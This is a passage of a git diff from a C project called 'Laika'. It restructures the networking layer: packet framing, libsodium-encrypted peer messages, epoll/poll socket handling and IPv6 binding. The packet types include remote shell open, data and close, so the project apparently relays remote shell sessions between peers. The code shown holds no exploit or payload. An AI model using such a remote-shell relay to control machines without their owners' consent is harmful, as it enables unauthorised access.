laikaP_rmvPollOut(peer->pList, &peer->sock);
return true;
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
laikaP_addPollOut(peer->pList, &peer->sock);
return true;
default: /* panic! */
case RAWSOCK_CLOSED:
case RAWSOCK_ERROR:
return false;
}
}

View File

@@ -1 +0,0 @@
#include "lvm.h"

20
lib/src/net/lpacket.c Normal file
View File

@@ -0,0 +1,20 @@
#include "net/lpacket.h"
#ifdef LAIKA_DEBUG_BUILD
const char *laikaD_getPacketName(LAIKAPKT_ID id)
{
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_PEER_LOGIN_REQ",
"LAIKAPKT_PINGPONG",
"LAIKAPKT_SHELL_OPEN",
"LAIKAPKT_SHELL_CLOSE",
"LAIKAPKT_SHELL_DATA",
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
}
#endif

304
lib/src/net/lpeer.c Normal file
View File

@@ -0,0 +1,304 @@
#include "net/lpeer.h"
#include "core/lerror.h"
#include "core/lmem.h"
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,
void *onPollFailUData, void *uData)
{
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
laikaS_initSocket(&peer->sock, laikaS_handlePeerIn, laikaS_handlePeerOut, onPollFail,
onPollFailUData);
peer->packetTbl = pktTbl;
peer->pList = pList;
peer->uData = uData;
peer->pktSize = 0;
peer->type = PEER_PEER;
peer->osType = OS_UNKNWN;
peer->pktID = LAIKAPKT_MAXNONE;
peer->outStart = -1;
peer->inStart = -1;
peer->useSecure = false;
/* zero-out peer info */
memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN);
memset(peer->inet, 0, LAIKA_INET_LEN);
memset(peer->ipStr, 0, LAIKA_IPSTR_LEN);
/* generate peer's salt */
laikaS_genSalt(peer);
return peer;
}
void laikaS_freePeer(struct sLaika_peer *peer)
{
laikaS_cleanSocket(&peer->sock);
laikaM_free(peer);
}
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt)
{
memcpy(peer->salt, salt, LAIKA_HANDSHAKE_SALT_LEN);
}
void laikaS_genSalt(struct sLaika_peer *peer)
{
randombytes_buf(peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
}
/* ===================================[[ Start/End Packets ]]=================================== */
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
{
struct sLaika_socket *sock = &peer->sock;
laikaS_writeByte(sock, id);
/* add to pollList's out queue */
laikaP_pushOutQueue(peer->pList, &peer->sock);
}
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
{
struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) /* sanity check */
LAIKA_ERROR("unended OUT packet!\n");
laikaS_writeByte(sock, id);
peer->outStart = laikaM_countVector(sock->outBuf);
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the
packet ID */
uint8_t nonce[crypto_secretbox_NONCEBYTES];
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
}
}
int laikaS_endOutPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock;
uint8_t *body;
size_t sz;
if (peer->useSecure) {
/* make sure we have enough space */
laikaM_growVector(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES);
/* packet body starts after the id & nonce */
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
/* encrypt packet body in-place */
if (crypto_secretbox_easy(body, body,
(laikaM_countVector(sock->outBuf) - peer->outStart) -
crypto_secretbox_NONCEBYTES,
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
LAIKA_ERROR("Failed to encrypt packet!\n");
}
laikaM_countVector(sock->outBuf) += crypto_secretbox_MACBYTES;
}
/* add to pollList's out queue */
laikaP_pushOutQueue(peer->pList, &peer->sock);
/* return packet size and prepare for next outPacket */
sz = laikaM_countVector(sock->outBuf) - peer->outStart;
peer->outStart = -1;
return sz;
}
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
{
struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) /* sanity check */
LAIKA_ERROR("unended OUT packet!\n");
laikaS_writeByte(sock, LAIKAPKT_VARPKT);
laikaS_zeroWrite(sock,
sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
laikaS_startOutPacket(peer, id);
}
int laikaS_endVarPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock;
int patchIndx = peer->outStart -
(sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer);
/* patch packet size */
memcpy((void *)&sock->outBuf[patchIndx], (void *)&sz, sizeof(LAIKAPKT_SIZE));
return sz;
}
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic)
{
struct sLaika_socket *sock = &peer->sock;
if (peer->inStart != -1) /* sanity check */
LAIKA_ERROR("unended IN packet!\n");
/* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
if (peer->useSecure && !variadic && peer->pktSize != 0)
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
peer->inStart = laikaM_countVector(sock->inBuf);
}
int laikaS_endInPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock;
uint8_t *body;
size_t sz = laikaM_countVector(sock->inBuf) - peer->inStart;
if (peer->useSecure && sz > crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES) {
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
/* decrypt packet body in-place */
if (crypto_secretbox_open_easy(body, body,
(laikaM_countVector(sock->inBuf) - peer->inStart) -
crypto_secretbox_NONCEBYTES,
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
LAIKA_ERROR("Failed to decrypt packet!\n");
}
/* decrypted message is smaller now */
laikaM_countVector(sock->inBuf) -= crypto_secretbox_MACBYTES;
/* remove nonce */
laikaM_rmvVector(sock->inBuf, peer->inStart, crypto_secretbox_NONCEBYTES);
sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
}
peer->inStart = -1;
return sz;
}
void laikaS_setSecure(struct sLaika_peer *peer, bool flag)
{
peer->useSecure = flag;
}
/* ==================================[[ Handle Poll Events ]]=================================== */
bool laikaS_handlePeerIn(struct sLaika_socket *sock)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
int recvd;
switch (peer->pktID) {
case LAIKAPKT_MAXNONE:
/* try grabbing pktID */
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
return false;
/* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock);
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement.
LAIKAPKT_VARPKT is also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT
case calls laikaS_startInPacket for itself, so skip all of this */
if (peer->pktID == LAIKAPKT_VARPKT)
goto _HandlePacketVariadic;
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
peer->pktSize = peer->packetTbl[peer->pktID].size;
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, false);
goto _HandlePacketBody;
case LAIKAPKT_VARPKT:
_HandlePacketVariadic:
/* try grabbing pktID & size */
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) !=
RAWSOCK_OK)
return false;
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was
* probably sent maliciously anyways */
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
/* read packet size */
peer->pktSize = laikaS_readu16(&peer->sock);
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!\n");
/* read pktID */
peer->pktID = laikaS_readByte(&peer->sock);
/* sanity check pktID, check valid handler & make sure it's marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
!peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
/* sanity check minimum size */
if (peer->pktSize <= peer->packetTbl[peer->pktID].size)
LAIKA_ERROR("requested variable packet is too small!\n");
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, true);
goto _HandlePacketBody;
default:
_HandlePacketBody:
/* try grabbing the rest of the packet */
if (laikaS_rawRecv(&peer->sock, peer->pktSize - laikaM_countVector(peer->sock.inBuf),
&recvd) != RAWSOCK_OK)
return false;
/* have we received the full packet? */
if (peer->pktSize == laikaM_countVector(peer->sock.inBuf)) {
peer->pktSize = laikaS_endInPacket(peer);
/* dispatch to packet handler */
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
/* reset */
laikaM_countVector(peer->sock.inBuf) = 0;
peer->pktID = LAIKAPKT_MAXNONE;
}
break;
}
return laikaS_isAlive((&peer->sock));
}
bool laikaS_handlePeerOut(struct sLaika_socket *sock)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
int sent;
if (laikaM_countVector(peer->sock.outBuf) == 0) /* sanity check */
return true;
switch (laikaS_rawSend(&peer->sock, laikaM_countVector(peer->sock.outBuf), &sent)) {
case RAWSOCK_OK: /* we're ok! */
/* if POLLOUT was set, unset it */
laikaP_rmvPollOut(peer->pList, &peer->sock);
return true;
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
laikaP_addPollOut(peer->pList, &peer->sock);
return true;
default: /* panic! */
case RAWSOCK_CLOSED:
case RAWSOCK_ERROR:
return false;
}
}

View File

@@ -1,39 +1,43 @@
#include "lerror.h"
#include "lmem.h"
#include "lpolllist.h"
#include "net/lpolllist.h"
/* ===========================================[[ Helper Functions ]]============================================= */
#include "core/lerror.h"
#include "core/lmem.h"
typedef struct sLaika_hashMapElem {
/* ===================================[[ Helper Functions ]]==================================== */
typedef struct sLaika_hashMapElem
{
SOCKET fd;
struct sLaika_socket *sock;
} tLaika_hashMapElem;
int elem_compare(const void *a, const void *b, void *udata) {
int elem_compare(const void *a, const void *b, void *udata)
{
const tLaika_hashMapElem *ua = a;
const tLaika_hashMapElem *ub = b;
return ua->fd != ub->fd;
}
uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) {
uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tLaika_hashMapElem *u = item;
return (uint64_t)(u->fd);
}
/* ==============================================[[ PollList API ]]============================================== */
/* =====================================[[ PollList API ]]====================================== */
void laikaP_initPList(struct sLaika_pollList *pList) {
void laikaP_initPList(struct sLaika_pollList *pList)
{
laikaS_init();
/* setup hashmap */
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, elem_compare, NULL, NULL);
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
pList->reventCap = POLLSTARTCAP/GROW_FACTOR;
pList->reventCount = 0;
pList->outQueue = NULL;
pList->outCap = POLLSTARTCAP/GROW_FACTOR;
pList->outCount = 0;
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash,
elem_compare, NULL, NULL);
/* laikaP_pollList() will allocate these buffer */
laikaM_initVector(pList->revents, POLLSTARTCAP / GROW_FACTOR);
laikaM_initVector(pList->outQueue, POLLSTARTCAP / GROW_FACTOR);
#ifdef LAIKA_USE_EPOLL
/* setup our epoll */
@@ -42,13 +46,13 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
LAIKA_ERROR("epoll_create() failed!\n");
#else
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
pList->fdCapacity = POLLSTARTCAP/GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
pList->fdCount = 0;
/* laikaP_addSock will allocate this buffer */
laikaM_initVector(pList->fds, POLLSTARTCAP / GROW_FACTOR);
#endif
}
void laikaP_cleanPList(struct sLaika_pollList *pList) {
void laikaP_cleanPList(struct sLaika_pollList *pList)
{
laikaM_free(pList->revents);
laikaM_free(pList->outQueue);
hashmap_free(pList->sockets);
@@ -62,39 +66,42 @@ void laikaP_cleanPList(struct sLaika_pollList *pList) {
laikaS_cleanUp();
}
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
/* add socket to hashmap */
hashmap_set(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
#ifdef LAIKA_USE_EPOLL
pList->ev.events = EPOLLIN;
pList->ev.data.ptr = (void*)sock;
pList->ev.data.ptr = (void *)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1)
LAIKA_ERROR("epoll_ctl [ADD] failed\n");
#else
/* allocate space in array & add PollFD */
laikaM_growarray(PollFD, pList->fds, 1, pList->fdCount, pList->fdCapacity);
pList->fds[pList->fdCount++] = (PollFD){sock->sock, POLLIN};
laikaM_growVector(PollFD, pList->fds, 1);
pList->fds[laikaM_countVector(pList->fds)++] = (PollFD){sock->sock, POLLIN};
#endif
}
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
int i;
/* remove socket from hashmap */
hashmap_delete(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
/* make sure peer isn't in outQueue */
for (i = 0; i < pList->outCount; i++) {
if ((void*)pList->outQueue[i] == (void*)sock) {
laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1);
for (i = 0; i < laikaM_countVector(pList->outQueue); i++) {
if ((void *)pList->outQueue[i] == (void *)sock) {
laikaM_rmvVector(pList->outQueue, i, 1);
}
}
#ifdef LAIKA_USE_EPOLL
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL
* pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [DEL] failed\n");
@@ -102,23 +109,24 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
#else
/* search fds for socket, remove it and shrink array */
for (i = 0; i < pList->fdCount; i++) {
for (i = 0; i < laikaM_countVector(pList->fds); i++) {
if (pList->fds[i].fd == sock->sock) {
/* remove from array */
laikaM_rmvarray(pList->fds, pList->fdCount, i, 1);
laikaM_rmvVector(pList->fds, i, 1);
break;
}
}
#endif
}
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
if (sock->setPollOut)
return;
#ifdef LAIKA_USE_EPOLL
pList->ev.events = EPOLLIN | EPOLLOUT;
pList->ev.data.ptr = (void*)sock;
pList->ev.data.ptr = (void *)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [MOD] failed\n");
@@ -127,7 +135,7 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
int i;
/* search fds for socket, add POLLOUT flag */
for (i = 0; i < pList->fdCount; i++) {
for (i = 0; i < laikaM_countVector(pList->fds); i++) {
if (pList->fds[i].fd == sock->sock) {
pList->fds[i].events = POLLIN | POLLOUT;
break;
@@ -138,13 +146,14 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
sock->setPollOut = true;
}
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
if (!sock->setPollOut)
return;
#ifdef LAIKA_USE_EPOLL
pList->ev.events = EPOLLIN;
pList->ev.data.ptr = (void*)sock;
pList->ev.data.ptr = (void *)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [MOD] failed\n");
@@ -153,7 +162,7 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
int i;
/* search fds for socket, remove POLLOUT flag */
for (i = 0; i < pList->fdCount; i++) {
for (i = 0; i < laikaM_countVector(pList->fds); i++) {
if (pList->fds[i].fd == sock->sock) {
pList->fds[i].events = POLLIN;
break;
@@ -164,29 +173,32 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
sock->setPollOut = false;
}
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
int i;
/* first, check that we don't have this peer in the queue already */
for (i = 0; i < pList->outCount; i++) {
for (i = 0; i < laikaM_countVector(pList->outQueue); i++) {
if (pList->outQueue[i] == sock)
return; /* found it :) */
}
laikaM_growarray(struct sLaika_socket*, pList->outQueue, 1, pList->outCount, pList->outCap);
pList->outQueue[pList->outCount++] = sock;
laikaM_growVector(struct sLaika_socket *, pList->outQueue, 1);
pList->outQueue[laikaM_countVector(pList->outQueue)++] = sock;
}
void laikaP_resetOutQueue(struct sLaika_pollList *pList) {
pList->outCount = 0; /* ez lol */
void laikaP_resetOutQueue(struct sLaika_pollList *pList)
{
laikaM_countVector(pList->outQueue) = 0; /* ez lol */
}
void laikaP_flushOutQueue(struct sLaika_pollList *pList) {
void laikaP_flushOutQueue(struct sLaika_pollList *pList)
{
struct sLaika_socket *sock;
int i;
/* flush pList's outQueue */
for (i = 0; i < pList->outCount; i++) {
for (i = 0; i < laikaM_countVector(pList->outQueue); i++) {
sock = pList->outQueue[i];
LAIKA_DEBUG("sending OUT to %p\n", sock);
if (sock->onPollOut && !sock->onPollOut(sock) && sock->onPollFail)
@@ -195,14 +207,16 @@ void laikaP_flushOutQueue(struct sLaika_pollList *pList) {
laikaP_resetOutQueue(pList);
}
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) {
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents)
{
int nEvents, i;
pList->reventCount = 0; /* reset revent array */
laikaM_countVector(pList->revents) = 0; /* reset revent array */
#ifdef LAIKA_USE_EPOLL
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a lookup into our socket hashmap
not to mention the various improvements epoll() has over poll() :D
*/
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a
lookup into our socket hashmap not to mention the various improvements epoll() has over
poll() :D
*/
nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout);
if (SOCKETERROR(nEvents))
@@ -210,46 +224,47 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
for (i = 0; i < nEvents; i++) {
/* add event to revent array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
.sock = pList->ep_events[i].data.ptr,
.pollIn = pList->ep_events[i].events & EPOLLIN,
.pollOut = pList->ep_events[i].events & EPOLLOUT
};
laikaM_growVector(struct sLaika_pollEvent, pList->revents, 1);
pList->revents[laikaM_countVector(pList->revents)++] =
(struct sLaika_pollEvent){.sock = pList->ep_events[i].data.ptr,
.pollIn = pList->ep_events[i].events & EPOLLIN,
.pollOut = pList->ep_events[i].events & EPOLLOUT};
}
#else
nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */
/* poll returns -1 for error, or the number of events */
nEvents = poll(pList->fds, laikaM_countVector(pList->fds), timeout);
if (SOCKETERROR(nEvents))
LAIKA_ERROR("poll() failed!\n");
/* walk through the returned poll fds, if they have an event, add it to our revents array */
for (i = 0; i < pList->fdCount && nEvents > 0; i++) {
for (i = 0; i < laikaM_countVector(pList->fds) && nEvents > 0; i++) {
PollFD pfd = pList->fds[i];
if (pList->fds[i].revents != 0) {
/* grab socket from hashmap */
tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
tLaika_hashMapElem *elem = (tLaika_hashMapElem *)hashmap_get(
pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
/* insert event into revents array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
.sock = elem->sock,
.pollIn = pfd.revents & POLLIN,
.pollOut = pfd.revents & POLLOUT
};
laikaM_growVector(struct sLaika_pollEvent, pList->revents, 1);
pList->revents[laikaM_countVector(pList->revents)++] =
(struct sLaika_pollEvent){.sock = elem->sock,
.pollIn = pfd.revents & POLLIN,
.pollOut = pfd.revents & POLLOUT};
nEvents--;
}
}
#endif
*_nevents = pList->reventCount;
*_nevents = laikaM_countVector(pList->revents);
/* return revents array */
return pList->revents;
}
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt) {
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt)
{
bool result = true;
/* sanity check */

View File

@@ -1,22 +1,15 @@
#include "lerror.h"
#include "lmem.h"
#include "lpolllist.h"
#include "lsodium.h"
#include "lsocket.h"
#include "lpacket.h"
#include "net/lsocket.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "net/lpacket.h"
#include "net/lpolllist.h"
static int _LNSetup = 0;
bool laikaS_isBigEndian(void) {
union {
uint32_t i;
uint8_t c[4];
} _indxint = {0xDEADB33F};
return _indxint.c[0] == 0xDE;
}
void laikaS_init(void) {
void laikaS_init(void)
{
if (_LNSetup++ > 0)
return; /* WSA is already setup! */
@@ -28,7 +21,8 @@ void laikaS_init(void) {
#endif
}
void laikaS_cleanUp(void) {
void laikaS_cleanUp(void)
{
if (--_LNSetup > 0)
return; /* WSA still needs to be up, a socket is still running */
@@ -37,25 +31,26 @@ void laikaS_cleanUp(void) {
#endif
}
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData) {
/* ======================================[[ Socket API ]]======================================= */
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData)
{
sock->sock = INVALID_SOCKET;
sock->onPollFail = onPollFail;
sock->onPollIn = onPollIn;
sock->onPollOut = onPollOut;
sock->uData = uData;
sock->inBuf = NULL;
sock->inCap = 8;
sock->inCount = 0;
sock->outBuf = NULL;
sock->outCap = 8;
sock->outCount = 0;
laikaM_initVector(sock->inBuf, 8);
laikaM_initVector(sock->outBuf, 8);
sock->flipEndian = false;
sock->setPollOut = false;
laikaS_init();
}
void laikaS_cleanSocket(struct sLaika_socket *sock) {
void laikaS_cleanSocket(struct sLaika_socket *sock)
{
/* free in & out arrays */
laikaM_free(sock->inBuf);
laikaM_free(sock->outBuf);
@@ -65,7 +60,8 @@ void laikaS_cleanSocket(struct sLaika_socket *sock) {
laikaS_cleanUp();
}
void laikaS_kill(struct sLaika_socket *sock) {
void laikaS_kill(struct sLaika_socket *sock)
{
if (!laikaS_isAlive(sock)) /* sanity check */
return;
@@ -80,7 +76,8 @@ void laikaS_kill(struct sLaika_socket *sock) {
sock->sock = INVALID_SOCKET;
}
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port)
{
struct addrinfo res, *result, *curr;
if (!SOCKETINVALID(sock->sock))
@@ -95,7 +92,8 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
if (getaddrinfo(ip, port, &res, &result) != 0)
LAIKA_ERROR("getaddrinfo() failed!\n");
/* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */
/* getaddrinfo returns a list of possible addresses, step through them and try them until we
* find a valid address */
for (curr = result; curr != NULL; curr = curr->ai_next) {
sock->sock = socket(curr->ai_family, curr->ai_socktype, curr->ai_protocol);
@@ -116,32 +114,33 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
LAIKA_ERROR("couldn't connect a valid address handle to socket!\n");
}
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
void laikaS_bind(struct sLaika_socket *sock, uint16_t port)
{
socklen_t addressSize;
struct sockaddr_in address;
struct sockaddr_in6 address;
int opt = 1;
if (!SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket already setup!\n");
/* open our socket */
sock->sock = socket(AF_INET, SOCK_STREAM, 0);
sock->sock = socket(AF_INET6, SOCK_STREAM, 0);
if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket() failed!\n");
/* attach socket to the port */
/* allow reuse of local address */
#ifdef _WIN32
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0)
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char *)&opt, sizeof(int)) != 0)
#else
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0)
#endif
LAIKA_ERROR("setsockopt() failed!\n");
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(port);
address.sin6_family = AF_INET6;
address.sin6_addr = in6addr_any;
address.sin6_port = htons(port);
addressSize = sizeof(struct sockaddr_in);
addressSize = sizeof(address);
/* bind to the port */
if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize)))
@@ -151,25 +150,24 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
LAIKA_ERROR("listen() failed!\n");
}
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4) {
struct sockaddr_in address;
socklen_t addressSize = sizeof(struct sockaddr_in);
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip)
{
struct sockaddr_in6 address;
socklen_t addressSize = sizeof(address);
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
sock->sock = accept(from->sock, (struct sockaddr *)&address, &addressSize);
if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("accept() failed!\n");
/* read ipv4 */
if (ipv4) {
if (inet_ntop(AF_INET, &address.sin_addr, ipv4, LAIKA_IPV4_LEN) == NULL)
/* read ip */
if (ip) {
if (inet_ntop(AF_INET6, &address.sin6_addr, ip, LAIKA_IPSTR_LEN) == NULL)
LAIKA_ERROR("inet_ntop() failed!\n");
/* restore null terminator */
ipv4[LAIKA_INET_LEN-1] = '\0';
}
}
bool laikaS_setNonBlock(struct sLaika_socket *sock) {
bool laikaS_setNonBlock(struct sLaika_socket *sock)
{
#ifdef _WIN32
unsigned long mode = 1;
if (ioctlsocket(sock->sock, FIONBIO, &mode) != 0) {
@@ -184,150 +182,128 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
return true;
}
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) {
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
/* =====================================[[ Socket stream ]]===================================== */
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
{
laikaM_rmvVector(sock->inBuf, 0, sz);
}
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz)
{
laikaM_growVector(uint8_t, sock->outBuf, sz);
/* set NULL bytes */
memset(&sock->outBuf[sock->outCount], 0, sz);
sock->outCount += sz;
memset(&sock->outBuf[laikaM_countVector(sock->outBuf)], 0, sz);
laikaM_countVector(sock->outBuf) += sz;
}
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz)
{
memcpy(buf, sock->inBuf, sz);
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
laikaM_rmvVector(sock->inBuf, 0, sz);
}
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz)
{
